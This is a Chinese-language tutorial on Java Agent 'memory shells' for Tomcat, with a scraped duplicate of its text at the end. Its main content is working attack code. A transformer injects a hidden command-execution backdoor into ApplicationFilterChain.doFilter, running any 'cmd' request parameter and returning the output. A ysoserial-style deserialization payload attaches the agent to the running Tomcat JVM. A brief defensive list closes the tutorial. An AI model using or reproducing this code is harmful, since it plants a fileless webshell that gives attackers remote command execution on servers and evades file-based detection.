JAVA安全之Java Agent打内存马
字数 1582 2025-08-22 12:23:18

Java Agent内存马技术详解

1. Java Agent基础

1.1 Java Agent概述

Java Agent是一种特殊的Java程序,它允许开发者在Java虚拟机(JVM)启动时或运行期间通过java.lang.instrument包提供的Java标准接口进行代码插桩,从而实现在Java应用程序类加载和运行期间动态修改已加载或者未加载的类,包括类的属性、方法等。

1.2 核心接口

1.2.1 Instrumentation接口

java.lang.instrument.Instrumentation提供了用于监测运行在JVM中的Java API:

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);
boolean removeTransformer(ClassFileTransformer transformer);
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isModifiableClass(Class<?> theClass);
Class[] getAllLoadedClasses();
void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException, UnmodifiableClassException;

1.2.2 ClassFileTransformer接口

ClassFileTransformer是一个转换类文件代理接口,可以对未加载的类进行拦截,也可对已加载的类进行重新拦截:

public interface ClassFileTransformer {
    byte[] transform(ClassLoader loader, String className, 
                    Class<?> classBeingRedefined, 
                    ProtectionDomain protectionDomain, 
                    byte[] classfileBuffer) throws IllegalClassFormatException;
}

1.2.3 VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息、内存dump、线程dump、类信息统计等功能:

  • attach(): 连接到指定PID的JVM
  • loadAgent(): 向JVM注册代理程序
  • list(): 获得当前所有JVM列表
  • detach(): 解除与JVM的连接

2. Java Agent加载方式

2.1 启动前加载(premain)

premain方法在应用程序主方法(main)执行之前运行:

public static void premain(String agentArgs, Instrumentation inst) {
    // 初始化代码
}

示例实现步骤

  1. 创建Maven项目并编写premain-Agent类
  2. 创建MANIFEST.MF清单文件指定Premain-Class
  3. 打包为Jar文件
  4. 使用-javaagent参数加载Agent

2.2 运行时加载(agentmain)

agentmain方法允许在应用程序启动后注入代码:

public static void agentmain(String agentArgs, Instrumentation inst) {
    // 注入代码
}

示例实现步骤

  1. 编写目标运行程序
  2. 编写agentmain-Agent类
  3. 创建MANIFEST.MF清单文件
  4. 编写注入程序获取目标JVM PID并注入Agent

3. 字节码修改技术

3.1 基本流程

  1. 获取目标JVM的PID
  2. 通过VirtualMachine.attach()连接到目标JVM
  3. 使用loadAgent()方法加载Agent
  4. 在Agent中注册ClassFileTransformer
  5. 使用Javassist等工具修改目标类字节码

3.2 示例代码

目标类

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while(true){
            hello();
            sleep(3000);
        }
    }
    public static void hello(){
        System.out.println("Hello World!");
    }
}

Transformer实现

public class Hello_Transform implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
                          Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, 
                          byte[] classfileBuffer) {
        try {
            ClassPool classPool = ClassPool.getDefault();
            if(classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }
            CtClass ctClass = classPool.get("com.al1ex.Sleep_Hello");
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
            String body = "{System.out.println(\"Hacker!\");}";
            ctMethod.setBody(body);
            return ctClass.toBytecode();
        } catch(Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

4. 内存马实现

4.1 内存马原理

通过Java Agent技术修改JVM一定会调用且Hook后不影响正常业务逻辑的方法,如:

  • org.apache.catalina.core.ApplicationFilterChain.doFilter()
  • javax.servlet.http.HttpServlet.service()

4.2 实现步骤

4.2.1 Agent实现

public class MyAgent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for(Class clazz : loadedClasses) {
            if(clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(clazz);
                } catch(Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

4.2.2 Transformer实现

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    
    public byte[] transform(ClassLoader loader, String className, 
                          Class<?> aClass, ProtectionDomain protectionDomain, 
                          byte[] classfileBuffer) {
        className = className.replace('/', '.');
        if(className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if(aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            try {
                CtClass cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(
                    "javax.servlet.ServletRequest req = request;\n" +
                    "javax.servlet.ServletResponse res = response;\n" +
                    "String cmd = req.getParameter(\"cmd\");\n" +
                    "if(cmd != null) {\n" +
                    "    Process process = Runtime.getRuntime().exec(cmd);\n" +
                    "    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                    "        new java.io.InputStreamReader(process.getInputStream()));\n" +
                    "    StringBuilder stringBuilder = new StringBuilder();\n" +
                    "    String line;\n" +
                    "    while((line = bufferedReader.readLine()) != null) {\n" +
                    "        stringBuilder.append(line + '\\n');\n" +
                    "    }\n" +
                    "    res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                    "    res.getOutputStream().flush();\n" +
                    "    res.getOutputStream().close();\n" +
                    "}"
                );
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

4.2.3 利用链构造

使用类似Shiro反序列化的方式注入Agent:

public class ShiroAgent {
    // 省略部分代码...
    
    public static Object createTemplatesImpl(String agentPath, Class<?> tplClass, 
                                           Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        
        String cmd = String.format(
            "try {\n" +
            "    java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
            "    java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
            "    java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
            "    add.setAccessible(true);\n" +
            "    add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
            "    Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
            "    Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
            "    java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
            "    java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
            "    for(int i=0; i<invoke.size(); i++) {\n" +
            "        Object o = invoke.get(i);\n" +
            "        java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
            "        Object name = displayName.invoke(o, null);\n" +
            "        if(name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {\n" +
            "            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
            "            Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
            "            java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
            "            loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
            "            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
            "            detach.invoke(machine, null);\n" +
            "            break;\n" +
            "        }\n" +
            "    }\n" +
            "} catch(Exception e) {\n" +
            "    e.printStackTrace();\n" +
            "}", 
            agentPath.replaceAll("\\\\", "\\").replaceAll("\"", "\\\""));
        
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
}

5. 防御措施

  1. 禁用不必要的Agent加载:限制JVM的Agent加载能力
  2. 监控类字节码修改:使用安全产品监控关键类的字节码变化
  3. 限制反射调用:限制敏感API的反射调用
  4. 更新组件版本:及时更新存在漏洞的组件
  5. 安全审计:定期审计Java应用的运行状态

6. 总结

Java Agent内存马技术通过动态修改JVM中已加载类的字节码实现持久化驻留,具有以下特点:

  1. 无文件落地,完全驻留在内存中
  2. 可以绕过常规的文件检测
  3. 通过修改常用类的方法实现隐蔽执行
  4. 可利用反序列化等漏洞进行注入

防御此类攻击需要从多个层面进行防护,包括限制Agent加载、监控字节码修改、更新漏洞组件等措施。

Java Agent内存马技术详解 1. Java Agent基础 1.1 Java Agent概述 Java Agent是一种特殊的Java程序,它允许开发者在Java虚拟机(JVM)启动时或运行期间通过 java.lang.instrument 包提供的Java标准接口进行代码插桩,从而实现在Java应用程序类加载和运行期间动态修改已加载或者未加载的类,包括类的属性、方法等。 1.2 核心接口 1.2.1 Instrumentation接口 java.lang.instrument.Instrumentation 提供了用于监测运行在JVM中的Java API: 1.2.2 ClassFileTransformer接口 ClassFileTransformer 是一个转换类文件代理接口,可以对未加载的类进行拦截,也可对已加载的类进行重新拦截: 1.2.3 VirtualMachine类 com.sun.tools.attach.VirtualMachine 类可以实现获取JVM信息、内存dump、线程dump、类信息统计等功能: attach() : 连接到指定PID的JVM loadAgent() : 向JVM注册代理程序 list() : 获得当前所有JVM列表 detach() : 解除与JVM的连接 2. Java Agent加载方式 2.1 启动前加载(premain) premain 方法在应用程序主方法(main)执行之前运行: 示例实现步骤 : 创建Maven项目并编写premain-Agent类 创建MANIFEST.MF清单文件指定Premain-Class 打包为Jar文件 使用 -javaagent 参数加载Agent 2.2 运行时加载(agentmain) agentmain 方法允许在应用程序启动后注入代码: 示例实现步骤 : 编写目标运行程序 编写agentmain-Agent类 创建MANIFEST.MF清单文件 编写注入程序获取目标JVM PID并注入Agent 3. 字节码修改技术 3.1 基本流程 获取目标JVM的PID 通过 VirtualMachine.attach() 连接到目标JVM 使用 loadAgent() 方法加载Agent 在Agent中注册 ClassFileTransformer 使用Javassist等工具修改目标类字节码 3.2 示例代码 目标类 : Transformer实现 : 4. 内存马实现 4.1 内存马原理 通过Java Agent技术修改JVM一定会调用且Hook后不影响正常业务逻辑的方法,如: org.apache.catalina.core.ApplicationFilterChain.doFilter() javax.servlet.http.HttpServlet.service() 4.2 实现步骤 4.2.1 Agent实现 4.2.2 Transformer实现 4.2.3 利用链构造 使用类似Shiro反序列化的方式注入Agent: 5. 防御措施 禁用不必要的Agent加载 :限制JVM的Agent加载能力 监控类字节码修改 :使用安全产品监控关键类的字节码变化 限制反射调用 :限制敏感API的反射调用 更新组件版本 :及时更新存在漏洞的组件 安全审计 :定期审计Java应用的运行状态 6. 总结 Java Agent内存马技术通过动态修改JVM中已加载类的字节码实现持久化驻留,具有以下特点: 无文件落地,完全驻留在内存中 可以绕过常规的文件检测 通过修改常用类的方法实现隐蔽执行 可利用反序列化等漏洞进行注入 防御此类攻击需要从多个层面进行防护,包括限制Agent加载、监控字节码修改、更新漏洞组件等措施。